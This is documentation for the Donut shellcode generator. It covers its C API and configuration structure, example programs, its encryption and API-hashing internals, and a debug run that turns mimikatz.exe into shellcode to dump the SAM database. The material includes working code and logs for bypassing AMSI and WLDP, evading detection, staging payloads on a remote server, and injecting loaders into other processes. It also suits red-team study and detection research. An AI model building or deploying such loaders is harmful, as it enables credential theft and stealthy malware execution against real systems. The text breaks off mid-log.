This document contains information about the Donut API and how to use them within your own application. Static and dynamic examples for Windows and Linux are shown.
Shared/dynamic and static libraries for both Windows and Linux provide access to three API.
int DonutCreate(PDONUT_CONFIG)
Builds the Donut shellcode/loader using settings stored in a DONUT_CONFIG
structure.
int DonutDelete(PDONUT_CONFIG)
Releases any resources allocated by a successful call to DonutCreate
.
const char* DonutError(int error)
Returns a description for an error code returned by DonutCreate
.
The Donut project already contains a generator in C. nixbyte has written a generator in C#. awgh has written a generator in Go and byt3bl33d3r has written a Python module.
The minimum configuration required to build a shellcode is a path to a VBS/JS/EXE/DLL file that will be executed in-memory. If the file is a .NET DLL, a namespace and method are required. If the module will be stored on a staging server, a URL is required. The following structure is declared in donut.h and should be zero initialized prior to setting any member.
typedef struct _DONUT_CONFIG { uint32_t len, zlen; // original length of input file and compressed length // general / misc options for loader int arch; // target architecture int bypass; // bypass option for AMSI/WDLP int compress; // engine to use when compressing file via RtlCompressBuffer int entropy; // entropy/encryption level int format; // output format for loader int exit_opt; // return to caller or invoke RtlExitUserProcess to terminate the host process int thread; // run entrypoint of unmanaged EXE as a thread. attempts to intercept calls to exit-related API uint64_t oep; // original entrypoint of target host file // files in/out char input[DONUT_MAX_NAME]; // name of input file to read and load in-memory char output[DONUT_MAX_NAME]; // name of output file to save loader // .NET stuff char runtime[DONUT_MAX_NAME]; // runtime version to use for CLR char domain[DONUT_MAX_NAME]; // name of domain to create for .NET DLL/EXE char cls[DONUT_MAX_NAME]; // name of class with optional namespace for .NET DLL char method[DONUT_MAX_NAME]; // name of method or DLL function to invoke for .NET DLL and unmanaged DLL // command line for DLL/EXE char param[DONUT_MAX_NAME]; // command line to use for unmanaged DLL/EXE and .NET DLL/EXE int unicode; // param is passed to DLL function without converting to unicode // HTTP/DNS staging information char server[DONUT_MAX_NAME]; // points to root path of where module will be stored on remote HTTP server or DNS server char modname[DONUT_MAX_NAME]; // name of module written to disk for http stager // DONUT_MODULE int mod_type; // VBS/JS/DLL/EXE int mod_len; // size of DONUT_MODULE DONUT_MODULE *mod; // points to DONUT_MODULE // DONUT_INSTANCE int inst_type; // DONUT_INSTANCE_EMBED or DONUT_INSTANCE_HTTP int inst_len; // size of DONUT_INSTANCE DONUT_INSTANCE *inst; // points to DONUT_INSTANCE // shellcode generated from configuration int pic_len; // size of loader/shellcode void* pic; // points to loader/shellcode } DONUT_CONFIG, *PDONUT_CONFIG;
The following table provides a description of each member.
| Member | Description |
|---|---|
len, zlen |
len holds the length of the file to execute in-memory. If compression is used, zlen will hold the length of file compressed. |
arch |
Indicates the type of assembly code to generate. DONUT_ARCH_X86 and DONUT_ARCH_X64 are self-explanatory. DONUT_ARCH_X84 indicates dual-mode that combines shellcode for both X86 and AMD64. ARM64 will be supported at some point. |
bypass |
Specifies behaviour of the code responsible for bypassing AMSI and WLDP. The current options are DONUT_BYPASS_NONE which indicates that no attempt be made to disable AMSI or WLDP. DONUT_BYPASS_ABORT indicates that failure to disable should result in aborting execution of the module. DONUT_BYPASS_CONTINUE indicates that even if AMSI/WDLP bypasses fail, the shellcode will continue with execution. |
compress |
Indicates if the input file should be compressed. Available engines are DONUT_COMPRESS_APLIB to use the aPLib algorithm. For builds on Windows, the RtlCompressBuffer API is available and supports DONUT_COMPRESS_LZNT1 , DONUT_COMPRESS_XPRESS and DONUT_COMPRESS_XPRESS_HUFF . |
entropy |
Indicates whether Donut should use entropy and/or encryption for the loader to help evade detection. Available options are DONUT_ENTROPY_NONE , DONUT_ENTROPY_RANDOM , which generates random strings and DONUT_ENTROPY_DEFAULT that combines DONUT_ENTROPY_DEFAULT with symmetric encryption. |
format |
Specifies the output format for the shellcode loader. Supported formats are DONUT_FORMAT_BINARY , DONUT_FORMAT_BASE64 , DONUT_FORMAT_RUBY , DONUT_FORMAT_C , DONUT_FORMAT_PYTHON , DONUT_FORMAT_POWERSHELL , DONUT_FORMAT_CSHARP and DONUT_FORMAT_HEX . On Windows, the base64 string is copied to the clipboard. |
exit_opt |
When the shellcode ends, RtlExitUserThread is called, which is the default behaviour. Set this to DONUT_OPT_EXIT_PROCESS to terminate the host process via the RtlExitUserProcess API. |
thread |
If the file is an unmanaged EXE, the loader will run the entrypoint as a thread. The loader also attempts to intercept calls to exit-related API stored in the Import Address Table by replacing those pointers with the address of the RtlExitUserThread API. However, hooking via IAT is generally unreliable and Donut may use code splicing / hooking in the future. |
oep |
Tells the loader to create a new thread before continuing execution at tht OEP provided by the user. |
input |
The path of file to execute in-memory. VBS/JS/EXE/DLL files are supported. |
output |
The path of where to save the shellcode/loader. Default is "loader.bin". |
runtime |
The CLR runtime version to use for a .NET assembly. If none is provided, Donut will try reading from the PE's COM directory. If that fails, v4.0.30319 is used by default. |
domain |
AppDomain name to create. If one is not specified by the caller, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA" |
cls |
The class name with method to invoke. A namespace is optional. e.g: namespace.class |
method |
The method that will be invoked by the shellcode once a .NET assembly is loaded into memory. This also holds the name of an exported API if the module is an unmanaged DLL. |
param |
String with a list of parameters for the .NET method or DLL function. For unmanaged EXE files, a 4-byte string is generated randomly to act as the module name. If entropy is disabled, this will be "AAAA" |
unicode |
By default, the param string is passed to an unmanaged DLL function as-is, in ANSI format. If set, param is converted to UNICODE. |
server |
If the instance type is DONUT_INSTANCE_HTTP , this should contain the server and path of where module will be stored. e.g: https://www.staging-server.com/modules/ |
modname |
If the type is DONUT_INSTANCE_HTTP , this will contain the name of the module for where to save the contents of mod to disk. If none is provided by the user, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA" |
mod_type |
Indicates the type of file detected by DonutCreate . For example, DONUT_MODULE_VBS indicates a VBScript file. |
mod_len |
The total size of the Module pointed to by mod . |
mod |
Points to encrypted Module. If the type is DONUT_INSTANCE_HTTP , this should be saved to file using the modname and accessible via HTTP server. |
inst_type |
DONUT_INSTANCE_EMBED indicates a self-contained payload which means the file is embedded. DONUT_INSTANCE_HTTP indicates the file is stored on a remote HTTP server. |
inst_len |
The total size of the Instance pointed to by inst . |
inst |
Points to an encrypted Instance after a successful call to DonutCreate . Since it's already attached to the pic , this is only provided for debugging purposes. |
pic_len |
The size of data pointed to by pic . |
pic |
Points to the loader/shellcode. This should be injected into a remote process. |
The following is linked with the static library donut.lib on Windows or donut.a on Linux.
#include "donut.h" int main(int argc, char *argv[]) { DONUT_CONFIG c; int err; FILE *out; // need at least a file if(argc != 2) { printf(" [ usage: donut_static <EXE>\n"); return 0; } memset(&c, 0, sizeof(c)); // copy input file lstrcpyn(c.input, argv[1], DONUT_MAX_NAME-1); // default settings c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP fails c.format = DONUT_FORMAT_BINARY; // default output format c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default c.exit_opt = DONUT_OPT_EXIT_THREAD; // default behaviour is to exit the thread c.thread = 1; // run entrypoint as a thread c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function // generate the shellcode err = DonutCreate(&c); if(err != DONUT_ERROR_SUCCESS) { printf(" [ Error : %s\n", DonutError(err)); return 0; } printf(" [ loader saved to %s\n", c.output); DonutDelete(&c); return 0; }
This example requires access to donut.dll on Windows or donut.so on Linux.
#include "donut.h" int main(int argc, char *argv[]) { DONUT_CONFIG c; int err; // function pointers DonutCreate_t _DonutCreate; DonutDelete_t _DonutDelete; DonutError_t _DonutError; // need at least a file if(argc != 2) { printf(" [ usage: donut_dynamic <file>\n"); return 0; } // try load donut.dll or donut.so #if defined(WINDOWS) HMODULE m = LoadLibrary("donut.dll"); if(m != NULL) { _DonutCreate = (DonutCreate_t)GetProcAddress(m, "DonutCreate"); _DonutDelete = (DonutDelete_t)GetProcAddress(m, "DonutDelete"); _DonutError = (DonutError_t) GetProcAddress(m, "DonutError"); if(_DonutCreate == NULL || _DonutDelete == NULL || _DonutError == NULL) { printf(" [ Unable to resolve Donut API.\n"); return 0; } } else { printf(" [ Unable to load donut.dll.\n"); return 0; } #else void *m = dlopen("donut.so", RTLD_LAZY); if(m != NULL) { _DonutCreate = (DonutCreate_t)dlsym(m, "DonutCreate"); _DonutDelete = (DonutDelete_t)dlsym(m, "DonutDelete"); _DonutError = (DonutError_t) dlsym(m, "DonutError"); if(_DonutCreate == NULL || _DonutDelete == NULL || _DonutError == NULL) { printf(" [ Unable to resolve Donut API.\n"); return 0; } } else { printf(" [ Unable to load donut.so.\n"); return 0; } #endif memset(&c, 0, sizeof(c)); // copy input file lstrcpyn(c.input, argv[1], DONUT_MAX_NAME-1); // default settings c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64) c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP fails c.format = DONUT_FORMAT_BINARY; // default output format c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default c.exit_opt = DONUT_OPT_EXIT_THREAD; // default behaviour is to exit the thread c.thread = 1; // run entrypoint as a thread c.unicode = 0; // command line will not be converted to unicode for unmanaged DLL function // generate the shellcode err = _DonutCreate(&c); if(err != DONUT_ERROR_SUCCESS) { printf(" [ Error : %s\n", _DonutError(err)); return 0; } printf(" [ loader saved to %s\n", c.output); _DonutDelete(&c); return 0; }
Everything that follows concerns internal workings of Donut and is not required knowledge to generate the shellcode/loader.
The position-independent code will always contain an Instance which can be viewed simply as a configuration for the code itself. It will contain all the data that would normally be stored on the stack or in the .data
and .rodata
sections of an executable. Once the main code executes, if encryption is enabled, it will decrypt the data before attempting to resolve the address of API functions. If successful, it will check if an executable file is embedded or must be downloaded from a remote staging server. To verify successful decryption of a module, a randomly generated string stored in the sig
field is hashed using Maru and compared with the value of mac
. The data will be decompressed if required and only then is it loaded into memory for execution.
Modules can be embedded in an Instance or stored on a remote HTTP server.
typedef struct _DONUT_MODULE { int type; // EXE/DLL/JS/VBS int thread; // run entrypoint of unmanaged EXE as a thread int compress; // indicates engine used for compression char runtime[DONUT_MAX_NAME]; // runtime version for .NET EXE/DLL char domain[DONUT_MAX_NAME]; // domain name to use for .NET EXE/DLL char cls[DONUT_MAX_NAME]; // name of class and optional namespace for .NET EXE/DLL char method[DONUT_MAX_NAME]; // name of method to invoke for .NET DLL or api for unmanaged DLL char param[DONUT_MAX_NAME]; // string parameters for both managed and unmanaged DLL/EXE int unicode; // convert param to unicode before passing to DLL function char sig[DONUT_SIG_LEN]; // string to verify decryption uint64_t mac; // hash of sig, to verify decryption was ok uint32_t zlen; // compressed size of EXE/DLL/JS/VBS file uint32_t len; // real size of EXE/DLL/JS/VBS file uint8_t data[4]; // data of EXE/DLL/JS/VBS file } DONUT_MODULE, *PDONUT_MODULE;
A hash function called Maru is used to resolve the address of API at runtime. It uses a Davies-Meyer construction and the SPECK block cipher to derive a 64-bit hash from an API string. The padding is similar to what's used by MD4 and MD5 except only 32-bits of the string length are stored in the buffer instead of 64-bits. An initial value (IV) chosen randomly ensures the 64-bit API hashes are unique for each instance and cannot be used for detection of Donut. Future releases will likely support alternative methods of resolving address of API to decrease chance of detection.
The following structure is used to hold a master key, counter and nonce for Donut, which are generated randomly.
typedef struct _DONUT_CRYPT { BYTE mk[DONUT_KEY_LEN]; // master key BYTE ctr[DONUT_BLK_LEN]; // counter + nonce } DONUT_CRYPT, *PDONUT_CRYPT;
Chaskey, a 128-bit block cipher with support for 128-bit keys, is used in Counter (CTR) mode to decrypt a Module or an Instance at runtime. If an adversary discovers a staging server, it should not be feasible for them to decrypt a donut module without the key which is stored in the donut loader. Future releases will support downloading a key via DNS and also asymmetric encryption.
The loader is capable of displaying detailed information about each step of file execution and can be useful in tracking down bugs. To build a debug-enabled executable, specify the debug label with nmake/make for both donut.c and loader.c.
nmake debug -f Makefile.msvc make debug -f Makefile.mingw
Use donut to create a shellcode as you normally would and a file called instance
will be saved to disk.
C:\hub\donut>donut mimikatz.exe -t -z5 -p"lsadump::sam exit" [ Donut shellcode generator v0.9.3 [ Copyright (c) 2019 TheWover, Odzhan DEBUG: donut.c:964:DonutCreate(): Entering. DEBUG: donut.c:966:DonutCreate(): Validating configuration and path of file PDONUT_CONFIG: 000000BAC732EE30 DEBUG: donut.c:982:DonutCreate(): Validating instance type 1 DEBUG: donut.c:990:DonutCreate(): Validating format DEBUG: donut.c:995:DonutCreate(): Validating compression DEBUG: donut.c:1005:DonutCreate(): Validating entropy level DEBUG: donut.c:1045:DonutCreate(): Validating architecture DEBUG: donut.c:1055:DonutCreate(): Validating AMSI/WDLP bypass option DEBUG: donut.c:311:get_file_info(): Entering. DEBUG: donut.c:320:get_file_info(): Checking extension of mimikatz.exe DEBUG: donut.c:327:get_file_info(): Extension is ".exe" DEBUG: donut.c:343:get_file_info(): Module is EXE DEBUG: donut.c:355:get_file_info(): Mapping mimikatz.exe into memory DEBUG: donut.c:238:map_file(): Reading size of file : mimikatz.exe DEBUG: donut.c:247:map_file(): Opening mimikatz.exe DEBUG: donut.c:257:map_file(): Mapping 1013912 bytes for mimikatz.exe DEBUG: donut.c:364:get_file_info(): Checking DOS header DEBUG: donut.c:370:get_file_info(): Checking NT header DEBUG: donut.c:376:get_file_info(): Checking IMAGE_DATA_DIRECTORY DEBUG: donut.c:384:get_file_info(): Checking characteristics DEBUG: donut.c:464:get_file_info(): Reading fragment and workspace size DEBUG: donut.c:470:get_file_info(): workspace size : 1415999 | fragment size : 5161 DEBUG: donut.c:473:get_file_info(): Allocating memory for compressed file DEBUG: donut.c:478:get_file_info(): Compressing with RtlCompressBuffer(XPRESS HUFFMAN) DEBUG: donut.c:517:get_file_info(): Original file size : 1013912 | Compressed : 478726 DEBUG: donut.c:519:get_file_info(): File size reduced by 53% DEBUG: donut.c:525:get_file_info(): Leaving. DEBUG: donut.c:1076:DonutCreate(): Validating architecture 3 for DLL/EXE 2 DEBUG: donut.c:1116:DonutCreate(): Creating module DEBUG: donut.c:635:CreateModule(): Entering. DEBUG: donut.c:642:CreateModule(): Allocating 480054 bytes of memory for DONUT_MODULE DEBUG: donut.c:718:CreateModule(): Setting the length of module data DEBUG: donut.c:722:CreateModule(): Copying data DEBUG: donut.c:735:CreateModule(): Leaving. DEBUG: donut.c:1123:DonutCreate(): Creating instance DEBUG: donut.c:746:CreateInstance(): Entering. DEBUG: donut.c:749:CreateInstance(): Allocating space for instance DEBUG: donut.c:756:CreateInstance(): The size of module is 480054 bytes. Adding to size of instance. DEBUG: donut.c:759:CreateInstance(): Total length of instance : 483718 DEBUG: donut.c:771:CreateInstance(): Generating random key for instance DEBUG: donut.c:777:CreateInstance(): Generating random key for module DEBUG: donut.c:783:CreateInstance(): Generating random string to verify decryption DEBUG: donut.c:788:CreateInstance(): Generating random IV for Maru hash DEBUG: donut.c:794:CreateInstance(): Generating hashes for API using IV: 7F9CFD9E98CBBB71 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : LoadLibraryA = 17355E8CFA7D19F2 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : GetProcAddress = 8D3EBD1F34620889 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : GetModuleHandleA = 5DB887782EF6CC37 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : VirtualAlloc = BA9B4C4A6BEAF5EF DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : VirtualFree = 9700D01C19AC3327 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : VirtualQuery = F2A1D8F41B01A888 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : VirtualProtect = 1B450EB228D7F4BF DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : Sleep = 309970892D16AE74 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : MultiByteToWideChar = 28B0786855D4E4B7 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : GetUserDefaultLCID = E2B11DFE6C1C9927 DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : WaitForSingleObject = 8E141DFA9123829C DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : CreateThread = F619939835534A4E DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : GetThreadContext = FF49CD4A23FC1A0A DEBUG: donut.c:807:CreateInstance(): Hash for kernel32.dll : GetCurrentThread = AFA0448721F19A48 DEBUG: donut.c:807:CreateInstance(): Hash for shell32.dll : CommandLineToArgvW = B9E1AB2F97AF3B82 DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : SafeArrayCreate = 406E7F09F977003D DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : SafeArrayCreateVector = 90B641A7C06422B9 DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : SafeArrayPutElement = CDAA1210672A291B DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : SafeArrayDestroy = DED07BF2F84740D5 DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : SafeArrayGetLBound = 485237864F7642D7 DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : SafeArrayGetUBound = 0B27A1EACACB8D54 DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : SysAllocString = E2851380598F923E DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : SysFreeString = 9710625B79B7C59E DEBUG: donut.c:807:CreateInstance(): Hash for oleaut32.dll : LoadTypeLib = 407E9567DBC5BC9C DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : InternetCrackUrlA = A1D4A6736A0EA4AF DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : InternetOpenA = C352FF2B2BB587A8 DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : InternetConnectA = 92DB8FB2A2686001 DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : InternetSetOptionA = 1DF489531305E2F2 DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : InternetReadFile = BFBAFCB31E63825B DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : InternetCloseHandle = 4B18A02CC85D989E DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : HttpOpenRequestA = 160264D62A4DF1E2 DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : HttpSendRequestA = 5936CF89C3F15FC8 DEBUG: donut.c:807:CreateInstance(): Hash for wininet.dll : HttpQueryInfoA = D4EEE57F477FE013 DEBUG: donut.c:807:CreateInstance(): Hash for mscoree.dll : CorBindToRuntime = 45964B3A0790EA11 DEBUG: donut.c:807:CreateInstance(): Hash for mscoree.dll : CLRCreateInstance = AF19DE2DFDDC387C DEBUG: donut.c:807:CreateInstance(): Hash for ole32.dll : CoInitializeEx = 3C74435194201CEE DEBUG: donut.c:807:CreateInstance(): Hash for ole32.dll : CoCreateInstance = AE07674E99604398 DEBUG: donut.c:807:CreateInstance(): Hash for ole32.dll : CoUninitialize = 2CBC3DC7C51672C0 DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlEqualUnicodeString = 1BE848F01092C568 DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlEqualString = 843A12A6D6B48A52 DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlUnicodeStringToAnsiString = 14183300DEDE2A3A DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlInitUnicodeString = 2AA1F15AC21C5EFD DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlExitUserThread = FAC1A2D55C0211EE DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlExitUserProcess = 112E064D1CFB5E87 DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlCreateUnicodeString = E59AF311C726FCC9 DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlGetCompressionWorkSpaceSize = 2691D357A2E502D8 DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : RtlDecompressBufferEx = 66845AB3DD7E5961 DEBUG: donut.c:807:CreateInstance(): Hash for ntdll.dll : NtContinue = FFBE44BEFC842282 DEBUG: donut.c:933:CreateInstance(): Copying module data to instance DEBUG: donut.c:938:CreateInstance(): encrypting instance DEBUG: donut.c:950:CreateInstance(): Leaving. DEBUG: donut.c:1131:DonutCreate(): Saving instance to file DEBUG: donut.c:1164:DonutCreate(): PIC size : 504055 DEBUG: donut.c:1171:DonutCreate(): Inserting opcodes DEBUG: donut.c:1207:DonutCreate(): Copying 20305 bytes of x86 + amd64 shellcode DEBUG: donut.c:1267:DonutCreate(): Saving loader as raw data DEBUG: donut.c:276:unmap_file(): Releasing compressed data DEBUG: donut.c:280:unmap_file(): Unmapping DEBUG: donut.c:283:unmap_file(): Closing DEBUG: donut.c:1306:DonutCreate(): Leaving. [ Instance type : Embedded [ Module file : "mimikatz.exe" [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman (Reduced by 53%) [ File type : EXE [ Parameters : lsadump::sam exit [ Target CPU : x86+amd64 [ AMSI/WDLP : continue [ Shellcode : "loader.bin" DEBUG: donut.c:1314:DonutDelete(): Entering. DEBUG: donut.c:1333:DonutDelete(): Leaving.
Pass the instance as a parameter to loader.exe and it will run on the host system as if in a target environment.
C:\hub\donut\loader>loader ..\instance Running... DEBUG: loader.c:109:MainProc(): Maru IV : F0B0F2EDFF5B0A90 DEBUG: loader.c:112:MainProc(): Resolving address for VirtualAlloc() : D75920F405CAE1A DEBUG: loader.c:116:MainProc(): Resolving address for VirtualFree() : D9181C14D8267BF1 DEBUG: loader.c:120:MainProc(): Resolving address for RtlExitUserProcess() : BBA9D25D742FFFBA DEBUG: loader.c:129:MainProc(): VirtualAlloc : 00007FFF7599A190 VirtualFree : 00007FFF7599A180 DEBUG: loader.c:131:MainProc(): Allocating 483718 bytes of RW memory DEBUG: loader.c:143:MainProc(): Copying 483718 bytes of data to memory 0000018F047B0000 DEBUG: loader.c:147:MainProc(): Zero initializing PDONUT_ASSEMBLY DEBUG: loader.c:156:MainProc(): Decrypting 483718 bytes of instance DEBUG: loader.c:163:MainProc(): Generating hash to verify decryption DEBUG: loader.c:165:MainProc(): Instance : C5B56D70E7049030 | Result : C5B56D70E7049030 DEBUG: loader.c:172:MainProc(): Resolving LoadLibraryA DEBUG: loader.c:189:MainProc(): Loading ole32 DEBUG: loader.c:189:MainProc(): Loading oleaut32 DEBUG: loader.c:189:MainProc(): Loading wininet DEBUG: loader.c:189:MainProc(): Loading mscoree DEBUG: loader.c:189:MainProc(): Loading shell32 DEBUG: loader.c:189:MainProc(): Loading dnsapi DEBUG: loader.c:193:MainProc(): Resolving 48 API DEBUG: loader.c:196:MainProc(): Resolving API address for 0819C096077AD66C DEBUG: loader.c:196:MainProc(): Resolving API address for DB38502679800297 DEBUG: loader.c:196:MainProc(): Resolving API address for 0D75920F405CAE1A DEBUG: loader.c:196:MainProc(): Resolving API address for D9181C14D8267BF1 DEBUG: loader.c:196:MainProc(): Resolving API address for 834C79B7969EDA8C DEBUG: loader.c:196:MainProc(): Resolving API address for EF0BA1BAD577692E DEBUG: loader.c:196:MainProc(): Resolving API address for 5835BC10745C1F7C DEBUG: loader.c:196:MainProc(): Resolving API address for<PHONE_NUMBER>177E49 DEBUG: loader.c:196:MainProc(): Resolving API address for 2868CEA85AAE96D6 DEBUG: loader.c:196:MainProc(): Resolving API address for 224C5EA75166A509 DEBUG: loader.c:196:MainProc(): Resolving API address for EBC25867667797AA DEBUG: loader.c:196:MainProc(): Resolving API address for 29046C83F75992CD DEBUG: loader.c:196:MainProc(): Resolving API address for 2D0266D6BCF829CB DEBUG: loader.c:196:MainProc(): Resolving API address for D6E6294A0A1541B4 DEBUG: loader.c:196:MainProc(): Resolving API address for C66DECBF4383BCB2 DEBUG: loader.c:196:MainProc(): Resolving API address for 2D734066297BBBE2 DEBUG: loader.c:196:MainProc(): Resolving API address for 2A747549DA298E3D DEBUG: loader.c:196:MainProc(): Resolving API address for B5C796A33B10E407 DEBUG: loader.c:196:MainProc(): Resolving API address for BC66A2B524CB0AE5 DEBUG: loader.c:196:MainProc(): Resolving API address for F83CE6DD874644B4 DEBUG: loader.c:196:MainProc(): Resolving API address for 1A51637CDB6FF143 DEBUG: loader.c:196:MainProc(): Resolving API address for 8D8BBF0E36AF8C09 DEBUG: loader.c:196:MainProc(): Resolving API address for B639F71AA8455E4D DEBUG: loader.c:196:MainProc(): Resolving API address for E27E1946D5913519 DEBUG: loader.c:196:MainProc(): Resolving API address for 3C2B12AB58F87C74 DEBUG: loader.c:196:MainProc(): Resolving API address for 35D897120CB371FF DEBUG: loader.c:196:MainProc(): Resolving API address for B397793CB6D5C517 DEBUG: loader.c:196:MainProc(): Resolving API address for 06D445864AEE48BA DEBUG: loader.c:196:MainProc(): Resolving API address for F1AA68CD2B50BC01 DEBUG: loader.c:196:MainProc(): Resolving API address for 38EFCB47B85EA4D5 DEBUG: loader.c:196:MainProc(): Resolving API address for C24F502A68666494 DEBUG: loader.c:196:MainProc(): Resolving API address for BBB1AAE646EE2F7D DEBUG: loader.c:196:MainProc(): Resolving API address for F6F19D9093F0C903 DEBUG: loader.c:196:MainProc(): Resolving API address for 269C41D7AE739078 DEBUG: loader.c:196:MainProc(): Resolving API address for C4C542975A41C8D7 DEBUG: peb.c:87:FindExport(): c4c542975a41c8d7 is forwarded to api-ms-win-core-com-l1-1-0.CoInitializeEx DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoInitializeEx) DEBUG: loader.c:196:MainProc(): Resolving API address for 634BFF72C9EC1652 DEBUG: peb.c:87:FindExport(): 634bff72c9ec1652 is forwarded to api-ms-win-core-com-l1-1-0.CoCreateInstance DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoCreateInstance) DEBUG: loader.c:196:MainProc(): Resolving API address for 3E82DCFC01A0E510 DEBUG: peb.c:87:FindExport(): 3e82dcfc01a0e510 is forwarded to api-ms-win-core-com-l1-1-0.CoUninitialize DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoUninitialize) DEBUG: loader.c:196:MainProc(): Resolving API address for CC36148EA324FE24 DEBUG: loader.c:196:MainProc(): Resolving API address for<PHONE_NUMBER>F29F6F DEBUG: loader.c:196:MainProc(): Resolving API address for B6F6C364E469845C DEBUG: loader.c:196:MainProc(): Resolving API address for DA51C8C9A172949A DEBUG: loader.c:196:MainProc(): Resolving API address for E12D5E33742A1ED0 DEBUG: loader.c:196:MainProc(): Resolving API address for BBA9D25D742FFFBA DEBUG: loader.c:196:MainProc(): Resolving API address for DC6DC4EA65052019 DEBUG: loader.c:196:MainProc(): Resolving API address for C8C7BFC1E7BC9A4B DEBUG: loader.c:196:MainProc(): Resolving API address for 44E1E1404E099395 DEBUG: loader.c:196:MainProc(): Resolving API address for 611D823ADCDB9F62 DEBUG: loader.c:218:MainProc(): Module is embedded. DEBUG: bypass.c:112:DisableAMSI(): Length of AmsiScanBufferStub is 36 bytes. DEBUG: bypass.c:122:DisableAMSI(): Overwriting AmsiScanBuffer DEBUG: bypass.c:137:DisableAMSI(): Length of AmsiScanStringStub is 36 bytes. DEBUG: bypass.c:147:DisableAMSI(): Overwriting AmsiScanString DEBUG: loader.c:226:MainProc(): DisableAMSI OK DEBUG: bypass.c:326:DisableWLDP(): Length of WldpQueryDynamicCodeTrustStub is 20 bytes. DEBUG: bypass.c:350:DisableWLDP(): Length of WldpIsClassInApprovedListStub is 36 bytes. DEBUG: loader.c:232:MainProc(): DisableWLDP OK DEBUG: loader.c:239:MainProc(): Compression engine is 5 DEBUG: loader.c:242:MainProc(): Allocating 1015240 bytes of memory for decompressed file and module information DEBUG: loader.c:252:MainProc(): Duplicating DONUT_MODULE DEBUG: loader.c:256:MainProc(): Decompressing 478726 -> 1013912 DEBUG: loader.c:270:MainProc(): WorkSpace size : 1415999 | Fragment size : 5161 DEBUG: loader.c:277:MainProc(): Decompressing with RtlDecompressBufferEx(XPRESS HUFFMAN) DEBUG: loader.c:302:MainProc(): Checking type of module DEBUG: inmem_pe.c:101:RunPE(): Allocating 1019904 (0xf9000) bytes of RWX memory for file DEBUG: inmem_pe.c:110:RunPE(): Copying Headers DEBUG: inmem_pe.c:113:RunPE(): Copying each section to RWX memory 0000018F04B90000 DEBUG: inmem_pe.c:125:RunPE(): Applying Relocations DEBUG: inmem_pe.c:149:RunPE(): Processing the Import Table DEBUG: inmem_pe.c:157:RunPE(): Loading ADVAPI32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading Cabinet.dll DEBUG: inmem_pe.c:157:RunPE(): Loading CRYPT32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading cryptdll.dll DEBUG: inmem_pe.c:157:RunPE(): Loading DNSAPI.dll DEBUG: inmem_pe.c:157:RunPE(): Loading FLTLIB.DLL DEBUG: inmem_pe.c:157:RunPE(): Loading NETAPI32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading ole32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading OLEAUT32.dll DEBUG: inmem_pe.c:157:RunPE(): Loading RPCRT4.dll DEBUG: inmem_pe.c:157:RunPE(): Loading SHLWAPI.dll DEBUG: inmem_pe.c:157:RunPE(): Loading SAMLIB.dll DEBUG: inmem_pe.c:157:RunPE(): 